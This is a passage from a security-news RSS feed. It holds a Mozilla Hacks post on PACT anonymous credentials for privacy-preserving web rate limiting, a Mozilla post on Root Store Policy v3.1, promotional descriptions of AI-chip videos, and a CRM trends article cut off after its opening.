<p class="c50"><span class="c0">The good news is that the cryptographic foundations for a privacy preserving approach already exist. The </span><span class="c1 c3"><a class="c5" href="https://privacypass.github.io/">Privacy Pass protocol</a></span><span class="c3 c1"><a class="c5" href="https://www.google.com/url?q=https://privacypass.github.io/&amp;sa=D&amp;source=editors&amp;ust=1782228494401139&amp;usg=AOvVaw3uoXdqARBZKjQF5H8uwYKY">,</a></span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.petsymposium.org/2018/files/papers/issue3/popets-2018-0026.pdf">originally developed in 2018</a></span><span class="c0"> to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is </span><span class="c13 c11 c1">unlinkable </span><span class="c0">between issuance and redemption. You prove something to an issuer (e.g. by </span><span class="c1">solving a CAPTCHA</span><span class="c0">), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to. </span></p>
<p><img alt="A diagram showing the protocol flow for Privacy Pass." class="aligncenter size-full wp-image-48375" height="1639" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-1.excalidraw1-scaled.png" width="2560"></p>
<p class="c27"><img alt="" title=""><span class="c20 c1 c57"><strong>Figure 1</strong>: </span><span class="c0"><em>In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history.</em> </span></p>
<p class="c52"><span class="c0">Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: </span><span class="c0">Apple</span><span class="c0"> uses it to authenticate users of </span><span class="c3 c1"><a class="c5" href="https://hacks.mozilla.org/feed/">Private Cloud Compute</a></span><span class="c0"> </span><span class="c1">and</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF">Private Rel</a></span><span class="c17 c1"><a class="c5" href="https://www.google.com/url?q=https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF&amp;sa=D&amp;source=editors&amp;ust=1782228494402463&amp;usg=AOvVaw0KGoiSPg-8NLvNvIiSSbPt">ay</a></span><span class="c1"> </span><span class="c0">without linking their activity to their identity, </span><span class="c0">Chrome</span><span class="c0"> uses it for </span><span class="c3 c1"><a class="c5" href="https://github.com/GoogleChrome/ip-protection">two-hop IP protection</a></span><span class="c0">, and </span><span class="c0">Kagi</span><span class="c0"> uses it to provide </span><span class="c17 c1"><a class="c5" href="https://help.kagi.com/kagi/privacy/privacy-pass.html">private search</a></span><span class="c0">. </span><span class="c0">These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them. </span></p>
<p class="c18"><span class="c0">Applying this approach to an open system where any site can act as</span><span class="c0"> an issuer</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://docs.google.com/document/d/1k3QJG2D_Sq4zJiJRn9DfY80hEHuz9UWrJdTt8LbRsMM/edit?tab=t.0#heading=h.r8jxzjcoeumo">brings real challenges</a></span><span class="c0">.</span><span class="c0"> Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. </span><span class="c1">If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. </span><span class="c0">This compounds if </span><span class="c1">sites </span><span class="c0">can learn the set of issuers </span><span class="c1">you have visited</span><span class="c0">, since it becomes a fingerprint which can be used to identify </span><span class="c1">you</span><span class="c0">. </span></p>
<p class="c8"><span class="c3 c1"><a class="c5" href="https://blog.cryptographyengineering.com/2014/11/27/zero-knowledge-proofs-illustrated-primer/">Generic techniques</a></span><span class="c0"> exist for proving a statement in zero knowledge: we can prove that </span><span class="c1">a client</span><span class="c0"> ha</span><span class="c1">s</span><span class="c0"> a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. </span><span class="c0">The generic approach is often slow, but </span><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-orru-zkproof-sigma-protocols-01.html">bespoke approaches</a></span><span class="c0"> tailored to the underlying cryptography can improve this considerably. </span></p>
<p class="c54"><span class="c0">Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, </span><span class="c0">sites are likely to lean towards conservative issuer selection. </span><span class="c1">That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created.</span><span class="c0"> </span></p>
<p class="c32"><span class="c0">To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/partnership-ohttp-prio/">Prio</a></span><span class="c0"> which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour. </span></p>
<p class="c59"><span class="c0">Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per </span><span class="c1">client</span><span class="c0"> basis, for example by increasing rate limits where they become more confident the </span><span class="c1">client</span><span class="c0"> is benign and withdrawing access </span><span class="c1">when abuse is detected</span><span class="c0">. </span></p>
<p class="c47"><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-schlesinger-cfrg-act-00.html">Anonymous Credit Tokens</a></span><span class="c0"> </span><span class="c0">offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing </span><span class="c1">the counter whenever</span><span class="c0"> the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked. </span></p>
<h3 class="c24"><span class="c2 c1">Putting it together </span></h3>
<p class="c19"><span class="c1">So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a </span><a href="https://pactworkshop.com/"><span class="c17 c1">W3C CG Meeting</span></a><span class="c0"> in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens. </span></p>
<p class="c19"><span class="c0">Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an </span><span class="c2 c1">Anchor</span><span class="c0">. To a user who meets the Anchor’s criteria, like having a subscription,</span><span class="c0"> an account in good standing</span><span class="c0">, or a verified phone number, an Anchor issues a batch of </span><span class="c2 c1">Endorsement </span><span class="c0">tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys</span><span class="c1"> </span><span class="c0">scarcity to other sites. </span></p>
<p class="c51"><span class="c0">That’s enough for a simple system where access is </span><span class="c1">either granted or denied</span><span class="c0">. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. </span><span class="c1">The state needed to enforce a rate limit</span><span class="c0"> can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it. </span></p>
<p class="c48"><span class="c0">We’ll call that the party that handles rate limiting for a site a </span><span class="c2 c1">Moderator </span><span class="c0">and the stateful object a </span><span class="c2 c1">Credential</span><span class="c0">. </span><span class="c1">A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. </span><span class="c1">A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit.</span><span class="c0"> </span></p>
<p class="c48"><span class="c0">In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.</span></p>
<p class="c14"><img alt="" title=""><img alt="A diagram showing an overview of the PACT system" class="aligncenter size-full wp-image-48381" height="1655" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw21-scaled.png" width="2560"></p>
<p class="c14"><strong><span class="c1 c20">Figure 2: </span></strong><span class="c1"><em>(1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time.</em> </span></p>
<p class="c41"><span class="c0">Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of </span><span class="c1">the </span><span class="c0">Anchors it trusts, but not which one. </span></p>
<p class="c28"><span class="c0">When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as</span><span class="c1"> we would for any other third party site</span><span class="c0">. The unlinkability of </span><span class="c1">Credential</span><span class="c0"> presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it </span><span class="c1">does provide a</span><span class="c0"> new way to grant access without requiring users to give up their privacy. </span></p>
<p class="c28"><span class="c0">Enabling Moderators that cover many sites carries a centralisation risk, simila</span><span class="c1">r </span><span class="c0">to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. Th</span><span class="c1">is</span><span class="c0"> </span><span class="c1">can’t</span><span class="c0"> reverse the centralisation pressure the web already faces, but it </span><span class="c1">ensures this system won’t lead to additional lock-in</span><span class="c0">: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor. </span></p>
<p class="c46"><span class="c0">The </span><span class="c1">system then has three flows</span><span class="c0">.</span><span class="c0"> First, the user </span><span class="c1">receives</span><span class="c0"> Endorsements from an Anchor in the course of normal interaction</span><span class="c1">, based on the Anchor’s positive view of the user</span><span class="c0">. This is </span><span class="c0">a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.</span></p>
<p class="c10"><img alt="" title=""><img alt="A diagram showing the PACT Anchor Flow" class="aligncenter size-full wp-image-48377" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-3.excalidraw1-scaled.png" width="2560"></p>
<p class="c10"><strong><span class="c20 c1">Figure 3</span></strong><span class="c1">: <em>In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.</em></span></p>
<p class="c26"><span class="c0">Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides </span><span class="c13 c11 c1">which </span><span class="c0">Anchor was used, and </span><span class="c1">neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued</span><span class="c0">. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) </span><span class="c1">could be used to</span><span class="c0"> bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.</span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the protocol flow between Anchors and Moderators" class="aligncenter size-full wp-image-48378" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-4.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><span class="c20 c1"><strong>Figure 4</strong></span><span class="c1"><strong>:</strong><em> When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server. </em></span><em><span class="c0"> </span></em></p>
<p class="c25"><span class="c0">Third, as the user browses, the browser presents the Credential and the Moderator updates </span><span class="c1">the internal state of the Credential</span><span class="c0">. The </span><span class="c1">Moderator can reward </span><span class="c0">behaviour that looks benign and </span><span class="c1">penalize suspicious activity</span><span class="c0">, </span><span class="c1">but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers</span><span class="c0">. </span><span class="c0">Revocation falls out of the same mechanism: a Moderator </span><span class="c1">can refuse to return an updated Credential</span><span class="c0">.</span><span class="c0"> </span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the PACT Moderator Flow" class="aligncenter size-full wp-image-48379" height="1618" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><strong><span class="c20 c1">Figure 5</span></strong><span class="c0"><strong>:</strong> <em>The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.</em></span></p>
<p class="c23"><span class="c0">In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving </span><span class="c1">users</span><span class="c0"> with meaningfully less friction. </span></p>
<p class="c16"><span class="c0">AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent </span><span class="c1">behaves.</span><span class="c0"> </span><span class="c1">S</span><span class="c0">ites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. </span><span class="c0">Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism. </span></p>
<p class="c6"><span class="c0">Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be </span><span class="c1">joined</span><span class="c0"> into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: </span><span class="c1">the site only learns if </span><span class="c0">the user has a valid Credential below the rate limit, or </span><span class="c1">nothing</span><span class="c0">. </span><span class="c1">W</span><span class="c0">hen the Moderator updates a </span><span class="c1">Credential</span><span class="c0">, it</span><span class="c0"> adjusts the credentials state without learning what it is.</span></p>
<p class="c6"><span class="c1">The additional privacy given to users from </span><span class="c0">Issuer blinding</span><span class="c1"> makes participating in the system more challenging for Moderators</span><span class="c0">. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor </span><span class="c1">more access</span><span class="c0"> than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial </span><span class="c1">access</span><span class="c0"> has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. </span><span class="c1">However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.</span></p>
<p class="c42"><span class="c0">Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust</span><span class="c1">. M</span><span class="c0">ultiparty computation systems like </span><span class="c0">Prio</span><span class="c0"> enable aggregate scoring without compromising pr</span><span class="c1">ivacy</span><span class="c0">. When users present Credentials, they can provide an encrypted share which identifies the anchor they use</span><span class="c1">d and can be privately aggregated to compute the quality of an issuer.</span></p>
<h3 class="c24"><span class="c2 c1">Next Steps </span></h3>
<p class="c49"><span class="c1">We think the</span><span class="c0"> architecture we</span><span class="c1">’ve </span><span class="c0">sketched </span><span class="c1">for PACT </span><span class="c0">has the right shape, but many of the details still need to be worked out</span><span class="c1"> and the entire system needs rigorous privacy and security analysis.</span></p>
<p class="c45"><span class="c0">We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. </span><span class="c0">We’ll be </span><span class="c1">bringing</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://github.com/Moderation-of-unLinkable-Endorsements">draft specifications</a></span><span class="c1"> to these bodies as soon as they’re ready</span><span class="c0">, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community. </span></p>
<p class="c29"><span class="c0">If successful, we think we can provide a system which will keep the web open and </span><span class="c1">private</span><span class="c0">, while still giving sites the rate-limiting signal they need. </span></p>
<h3 class="c29"><span class="c2 c1">Acknowledgements</span></h3>
<p class="c4"><em><span class="c11 c1">The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot &amp; Cathie Yun.</span></em><span class="c11 c1"><em> </em> </span></p>
<hr class="c58">
<div>
<p class="c31"><a href="https://hacks.mozilla.org/?p=48374#:~:text=%5B1%5D">[1]</a><span class="c0"> PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.</span></p>
</div>
<p>The post <a href="https://hacks.mozilla.org/2026/06/pact-anonymous-credentials-for-the-web/">PACT: Anonymous Credentials for the Web</a> appeared first on <a href="https://hacks.mozilla.org/">Mozilla Hacks - the Web developer blog</a>.</p>]]></content:encoded>
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<title><![CDATA[Mozilla Security Blog: Improving Transparency and Assurance in the Web PKI: Mozilla Root Store Policy v3.1]]></title>
<description><![CDATA[Mozilla remains committed to maintaining a secure, trustworthy, and transparent Web PKI. Today we are announcing the publication of Mozilla Root Store Policy (MRSP) version 3.1, effective July 1, 2026.
While previous policy updates focused heavily on certificate revocation, automation, and operat...]]></description>
<link>https://tsecurity.de/de/3693288/tools/mozilla-security-blog-improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v31/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693288/tools/mozilla-security-blog-improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v31/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:23 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Mozilla remains committed to maintaining a secure, trustworthy, and transparent Web PKI. Today we are announcing the publication of <a href="https://www.mozilla.org/en-US/about/governance/policies/security-group/certs/policy/">Mozilla Root Store Policy</a> (MRSP) version 3.1, effective July 1, 2026.</p>
<p>While previous policy updates focused heavily on certificate revocation, automation, and operational resilience, MRSP v3.1 focuses on a different challenge: ensuring that Certification Authority (CA) operations are sufficiently transparent, understandable, and auditable.</p>
<p>Trust in the Web PKI depends not only on technical requirements, but also on the ability of Mozilla, auditors, and the broader community to understand how CA systems are designed, operated, and assessed. MRSP v3.1 introduces new requirements intended to improve the quality of CA documentation and strengthen independent assurance of the design and effectiveness of controls that protect CA systems.</p>
<h3><b>Improving CP/CPS Documentation</b></h3>
<p>Certification Practice Statements (CPSes) and combined Certificate Policy / Certification Practice Statement documents (CP/CPSes) are among the most important public documents published by a CA. They describe how a CA conducts its operations and meets industry requirements.</p>
<p>Over the years, we have seen significant variation in the quality, structure, and level of detail provided in CP/CPS documentation. Some documents provide extensive implementation detail, while others rely heavily on incorporation by reference or provide only high-level descriptions of CA practices.</p>
<p>The revised policy will continue to require conformance with RFC 3647, as modified by applicable CA/Browser Forum requirements. Improvements to section 3.3 in the MRSP will establish clearer expectations regarding the content and quality of CP/CPS documentation. The new requirements emphasize that documentation must be explicit, bounded, auditable, and sufficiently detailed to describe the CA operator’s certificate issuance and management activities, while also establishing requirements for version control, accessibility, and ongoing maintenance. The objective is to ensure that a technically competent reviewer will be better-able to determine what commitments the CA has made, how those commitments are implemented, and whether the documented practices support technical, operational, and performance oversight.</p>
<p>Mozilla believes that these new CP/CPS requirements will improve transparency, reduce misunderstandings, support more effective audits, and help reduce the risk of certificate misissuance by ensuring that operational practices are documented accurately, consistently, and in sufficient detail to permit meaningful review.</p>
<h3><b>Introducing Detailed Controls Reports</b></h3>
<p>A second major enhancement in MRSP v3.1 is the introduction of Detailed Controls Reports (DCRs). Traditional WebTrust and ETSI audit reports provide valuable independent assurance regarding compliance with established criteria. However, they generally provide only limited visibility into the specific controls, testing procedures, and operational environments that support those conclusions.</p>
<p>Beginning with audit periods starting on or after July 1, 2027, CA operators with root certificates enabled for TLS website authentication will be required to obtain a DCR. The purpose of the DCR is to provide CA management, auditors, and Mozilla with greater visibility into the controls, testing, and operating effectiveness of CA systems that support compliance with the CA/Browser Forum’s TLS Baseline Requirements and Network and Certificate System Security Requirements. Mozilla generally expects to review DCRs only on an as-needed basis, such as during compliance reviews, incident investigations, root inclusion evaluations, or other oversight activities.</p>
<p>A DCR must include:</p>
<ul>
<li>The scope and boundaries of the audited CA systems;</li>
<li>Applicable audit criteria;</li>
<li>Controls implemented by the CA;</li>
<li>The auditor’s testing procedures;</li>
<li>Results of control testing; and</li>
<li>Information regarding control exceptions or deficiencies.</li>
</ul>
<p>Mozilla expects that DCRs will complement existing audit reports and strengthen transparency and assurance by providing additional detail regarding system boundaries, control implementation, testing procedures, and control effectiveness that is not typically available in traditional audit reports. Effective compliance requires more than documented policies and successful audits; it also requires management understanding, oversight, and engagement. By providing greater visibility into CA systems, controls, testing activities, and operational risks, DCRs can help reinforce a strong tone at the top regarding compliance expectations, support informed decision-making and resource allocation, enable earlier identification of weaknesses, and promote a culture of continuous improvement. The intent is not to replace existing audit reports, but to provide additional information that supports effective governance, oversight, and informed trust decisions.</p>
<h3><b>Additional Clarifications and Improvements</b></h3>
<p>MRSP v3.1 also includes several targeted clarifications and refinements:</p>
<ul>
<li>aligns Mozilla’s mass revocation planning requirements with the corresponding CA/Browser Forum Baseline Requirements, helping ensure consistency across compliance frameworks;</li>
<li>clarifies audit expectations for root inclusion requests, including requirements relating to audit continuity and root key generation ceremonies;</li>
<li>requires root CA key pairs submitted for inclusion to have been generated within the previous five years, helping ensure that newly included roots are based on contemporary cryptographic practices and controls; and</li>
<li>clarifies expectations when ownership or operational control of a CA changes, helping ensure that Mozilla receives timely notice and can evaluate the impact of acquisitions or organizational changes on continued compliance.</li>
</ul>
<h3><b>Looking Forward</b></h3>
<p>Mozilla recognizes that these changes will require preparation by CA operators, auditors, and other ecosystem participants. To support implementation, Mozilla is publishing accompanying wiki guidance regarding both <a href="https://wiki.mozilla.org/CA/CP-CPS_Guidance">CP/CPS Documentation</a> and <a href="https://wiki.mozilla.org/CA/DCRs">Detailed Controls Reports</a>.</p>
<p>As with previous policy updates, these changes were informed by discussions with CA operators, auditors, and members of the Web PKI community. We appreciate the feedback received during the review process and look forward to continued collaboration as the ecosystem evolves.</p>
<p>Mozilla has a longstanding focus on building confidence in the Web PKI through transparency, accountability, and continuous improvement. By requiring higher-quality CP/CPS documentation and strengthening independent assurance, MRSP v3.1 advances Mozilla’s commitment to protecting its users and maintaining their trust in the systems that help secure the web.</p>
<p>The post <a href="https://blog.mozilla.org/security/2026/06/29/improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v3-1/">Improving Transparency and Assurance in the Web PKI: Mozilla Root Store Policy v3.1</a> appeared first on <a href="https://blog.mozilla.org/security">Mozilla Security Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[China's New Huawei Ascend 950PR Just Destroyed NVIDIA's Future in AI Industry!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 179x - Views:7273 Huawei may have just become NVIDIA’s biggest problem in China.

In this video, we break down Huawei’s new Ascend 950PR AI chip, why it matters for the global semiconductor war, and how U.S. export restrictions may have accelerated China’s push to...]]></description>
<link>https://tsecurity.de/de/3693243/videos/chinas-new-huawei-ascend-950pr-just-destroyed-nvidias-future-in-ai-industry/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693243/videos/chinas-new-huawei-ascend-950pr-just-destroyed-nvidias-future-in-ai-industry/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:08 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 179x - Views:7273 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/sGHhWmeVIqQ?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Huawei may have just become NVIDIA’s biggest problem in China.<br />
<br />
In this video, we break down Huawei’s new Ascend 950PR AI chip, why it matters for the global semiconductor war, and how U.S. export restrictions may have accelerated China’s push toward technological independence. The Ascend 950PR is designed mainly for AI inference and is built by SMIC using advanced DUV multi-patterning. Huawei is also attacking NVIDIA’s biggest advantages beyond hardware by building a CUDA compatibility layer through CANN and scaling thousands of Ascend NPUs together inside the Atlas 950 SuperPod using UnifiedBus interconnect technology. We also look at reported demand from ByteDance, Alibaba Cloud, and Tencent, the role of DeepSeek models optimized for Ascend hardware, and why NVIDIA could lose major market share inside China even without Huawei beating its most advanced chips in every benchmark. This is bigger than one AI chip. China is building a parallel AI ecosystem across chips, software, networking, cloud infrastructure, and AI models — and Huawei is quickly becoming the center of it.<br />
<br />
#Huawei #NVIDIA #AIChips #Ascend950PR #ChinaTech #Semiconductors #ArtificialIntelligence<br/></p>]]></content:encoded>
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<title><![CDATA[Google’s New Dual-TPU Chip Made The Most Advanced AI GPUs Look Like a JOKE!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 328x - Views:12498 Google just revealed two brand-new AI chips—and they could change the future of artificial intelligence. Instead of building one GPU to handle everything, Google introduced its 8th-generation Tensor Processing Units: TPU 8t for AI training and T...]]></description>
<link>https://tsecurity.de/de/3693239/videos/googles-new-dual-tpu-chip-made-the-most-advanced-ai-gpus-look-like-a-joke/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693239/videos/googles-new-dual-tpu-chip-made-the-most-advanced-ai-gpus-look-like-a-joke/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:03 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 328x - Views:12498 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/c5Ux68tILGg?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Google just revealed two brand-new AI chips—and they could change the future of artificial intelligence. Instead of building one GPU to handle everything, Google introduced its 8th-generation Tensor Processing Units: TPU 8t for AI training and TPU 8i for AI inference and reasoning. The company believes future AI infrastructure needs specialized hardware rather than one general-purpose accelerator. In this video, we break down Google&#039;s new TPU architecture, including 121 exaflops of compute, superpods with up to 9,600 chips, 2 petabytes of shared memory, Virgo networking, TPUDirect, Boardfly topology, Axion CPUs, and next-generation liquid cooling. We also explain why Google optimized TPU 8i for reasoning models, AI agents, and massive inference workloads with 288GB of HBM and dramatically improved memory performance. Could Google&#039;s specialized TPU strategy become the future of AI computing? And is this the first real architectural challenge to NVIDIA&#039;s GPU dominance?<br />
<br />
#Google #TPU #NVIDIA #AIChips #ArtificialIntelligence #GoogleCloud #Semiconductors<br/></p>]]></content:encoded>
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<title><![CDATA[MIT's 1000TB/s Photonic Chip Finally Puts an End to NVIDIA's AI Domination!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 215x - Views:5447 MIT engineers are building a chip reaching one petabit per second. See how this hardware processes data faster than any current consumer tech. This video examines the technical details behind the new MIT processor chip designed to push data limit...]]></description>
<link>https://tsecurity.de/de/3693219/videos/mits-1000tbs-photonic-chip-finally-puts-an-end-to-nvidias-ai-domination/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693219/videos/mits-1000tbs-photonic-chip-finally-puts-an-end-to-nvidias-ai-domination/</guid>
<pubDate>Sat, 25 Jul 2026 08:35:34 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 215x - Views:5447 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/NWKjnuND7Ys?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>MIT engineers are building a chip reaching one petabit per second. See how this hardware processes data faster than any current consumer tech. This video examines the technical details behind the new MIT processor chip designed to push data limits. We explore how researchers are utilizing interferometer technology to achieve speeds of a thousand terabits on a surface thinner than a human hair. This breakdown is for engineers, students, and tech enthusiasts interested in the future of high-speed hardware. By analyzing the electronic components and the specific measurement diagrams, you will better understand the engineering hurdles involved in reaching a petabit per second. You will see how this data processing speed milestone compares to existing silicon-based architectures and why this specific design is capable of such massive throughput.<br />
<br />
Subscribe for weekly engineering breakdowns, and comment below if you want to see a deep dive on how interferometers are used in modern computing.<br/></p>]]></content:encoded>
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<title><![CDATA[7 CRM trends for 2026: AI brings decisive action to customer workflows]]></title>
<description><![CDATA[Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of customer relationship management (CRM), the platform that manages sales, marketing, and customer service.



“Last year, everybo...]]></description>
<link>https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</guid>
<pubDate>Sat, 25 Jul 2026 06:53:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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						<div class="article-column__content">
